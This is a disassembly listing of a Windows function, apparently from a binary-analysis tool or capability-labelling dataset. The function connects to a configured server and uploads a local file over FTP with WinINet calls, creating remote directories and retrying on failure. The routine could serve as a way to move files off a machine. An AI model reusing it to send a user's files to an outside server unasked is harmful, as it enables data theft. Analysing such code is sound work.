Function at 0x401140
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
sub esp, 0x414
mov eax, dword [esp + 0x418]
push ebx
push esi
xor esi, esi
or ebx, 0xffffffff
cmp eax, esi
push edi
mov dword [esp + 0x10], esi
jne 0x401181
push 0x242
push 0x48f530
push str._s__d__Error_n
call section..text
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0x414
ret
mov edi, dword [esp + 0x428]
push edi
call fcn.004021c0
add esp, 4
test eax, eax
jne 0x4011ba
push edi
push 0x248
push 0x48f530
push str._s__d__Error__s
call section..text
add esp, 0x10
or eax, 0xffffffff
pop edi
pop esi
pop ebx
add esp, 0x414
ret
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x118]
push ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0x11c]
push eax
call fcn.00401090
add esp, 4
push esi
push esi
push esi
push esi
push str.UpLoadFile
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
cmp edi, esi
mov dword [esp + 0x18], edi
jne 0x40121f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x252
push 0x48f530
push str._s__d___GetLastError_d_n
call section..text
add esp, 0x10
mov eax, ebx
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x414
ret
movsx ecx, word [0x497280]
push 0x497294
push 0x4972a4
push ecx
push 0x49726c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x258
push 0x48f530
push str._s__d___d_g_Config.ServerIP_s_g_Config.ServerPort_d__s__s_n
call section..text
mov dx, word [0x497280]
add esp, 0x20
push esi
push 0x8000000
push 1
push 0x497294
push 0x4972a4
push edx
push 0x49726c
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov ebp, eax
test ebp, ebp
je 0x4015b7
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1c]
mov ebx, dword [esp + 0x428]
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x324]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x324]
push eax
push ebx
call fcn.00401f20
mov eax, dword [0x499c88]
add esp, 8
sub eax, 0
je 0x4012ec
dec eax
jne 0x401331
mov eax, dword [0x499c84]
cmp eax, 1
jne 0x4012de
mov edx, dword [0x49a304]
lea ecx, [esp + 0x11c]
push ecx
jmp 0x401317
cmp eax, 3
jne 0x401331
lea ecx, [esp + 0x11c]
jmp 0x401310
mov eax, dword [0x499c84]
cmp eax, 1
jne 0x401305
mov ecx, dword [0x49a300]
mov edx, dword [0x49a304]
push ecx
jmp 0x401317
cmp eax, 3
jne 0x401331
mov ecx, dword [0x49a2f4]
mov edx, dword [0x49a2f8]
push ecx
push edx
push 0x4972a4
lea eax, [esp + 0x28]
push str._s__s__s
push eax
call fcn.0045a0fd
add esp, 0x14
mov esi, eax
lea ecx, [esp + 0x1c]
push esi
push ecx
call fcn.00401f00
mov edi, dword [sym.imp.WININET.dll_FtpSetCurrentDirectoryA]
add esp, 8
lea edx, [esp + 0x1c]
push edx
push ebp
call edi
test eax, eax
jne 0x40135f
lea eax, [esp + 0x1c]
push eax
push ebp
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
jmp 0x401367
push 0x48f4c4
push ebp
call edi
mov eax, dword [0x499c88]
sub eax, 0
je 0x40139e
dec eax
jne 0x4013e5
mov eax, dword [0x499c84]
cmp eax, 1
jne 0x40138f
mov edx, dword [0x49a304]
lea ecx, [esp + 0x11c]
push ebx
push ecx
jmp 0x4013cb
cmp eax, 3
jne 0x4013e5
push ebx
lea ecx, [esp + 0x120]
jmp 0x4013c4
mov eax, dword [0x499c84]
cmp eax, 1
jne 0x4013b8
mov ecx, dword [0x49a300]
mov edx, dword [0x49a304]
push ebx
push ecx
jmp 0x4013cb
cmp eax, 3
jne 0x4013e5
mov ecx, dword [0x49a2f4]
push ebx
mov edx, dword [0x49a2f8]
push ecx
push edx
push 0x4972a4
lea eax, [esp + 0x2c]
push str._s__s__s__s
push eax
call fcn.0045a0fd
add esp, 0x18
mov esi, eax
lea ecx, [esp + 0x1c]
push esi
push ecx
call fcn.00401f00
add esp, 8
mov edi, dword [esp + 0x42c]
lea edx, [esp + 0x1c]
push edx
push edi
push 0x2a6
push 0x48f530
push 0x48f5b4
call section..text
add esp, 0x14
lea eax, [esp + 0x1c]
push 0
push 2
push eax
push edi
push ebp
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
jne 0x401541
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
push eax
push 0x2b0
push 0x48f530
push str._s__d__GetLastError___d_n
call section..text
add esp, 0x10
call edi
cmp eax, 0x2ee3
je 0x4014a0
push 0x2c9
push 0x48f530
push str._s__d___n
call section..text
mov eax, dword [esp + 0x20]
add esp, 0xc
mov ecx, eax
inc eax
cmp ecx, 5
mov dword [esp + 0x14], eax
jge 0x40155c
push 0x2cd
push 0x48f530
push str._s__d__
call section..text
add esp, 0xc
jmp 0x4013f3
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x220]
rep stosd dword es:[edi], eax
mov eax, dword [0x499c84]
cmp eax, 1
jne 0x4014ca
mov eax, dword [0x49a304]
lea edx, [esp + 0x11c]
push ebx
push edx
jmp 0x4014dd
cmp eax, 3
jne 0x4014fc
mov eax, dword [0x49a2f8]
lea edx, [esp + 0x11c]
push ebx
push edx
push eax
push 0x4972a4
lea ecx, [esp + 0x230]
push str._s__s__s__s
push ecx
call fcn.0045a0fd
add esp, 0x18
mov dword [esp + 0x10], eax
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x220]
push edx
push eax
call fcn.00401f00
lea ecx, [esp + 0x228]
push ecx
push 0x2bf
push 0x48f530
push 0x48f47c
call section..text
add esp, 0x18
lea edx, [esp + 0x220]
push edx
push ebp
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
jmp 0x401284
push 0x2a9
push 0x48f530
push str._s__d___n
call section..text
add esp, 0xc
xor ebx, ebx
jmp 0x40155f
or ebx, 0xffffffff
push ebx
push 0x2d5
push 0x48f530
push str._s__d__retv_d_n
call section..text
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
add esp, 0x10
push ebp
call esi
test eax, eax
jne 0x401598
push 0x48f56c
call section..text
add esp, 4
push ebp
call esi
test eax, eax
je 0x401584
mov edi, dword [esp + 0x18]
push edi
call esi
test eax, eax
jne 0x4015b7
push 0x48f56c
call section..text
add esp, 4
push edi
call esi
test eax, eax
je 0x4015a3
pop ebp
pop edi
mov eax, ebx
pop esi
pop ebx
add esp, 0x414
ret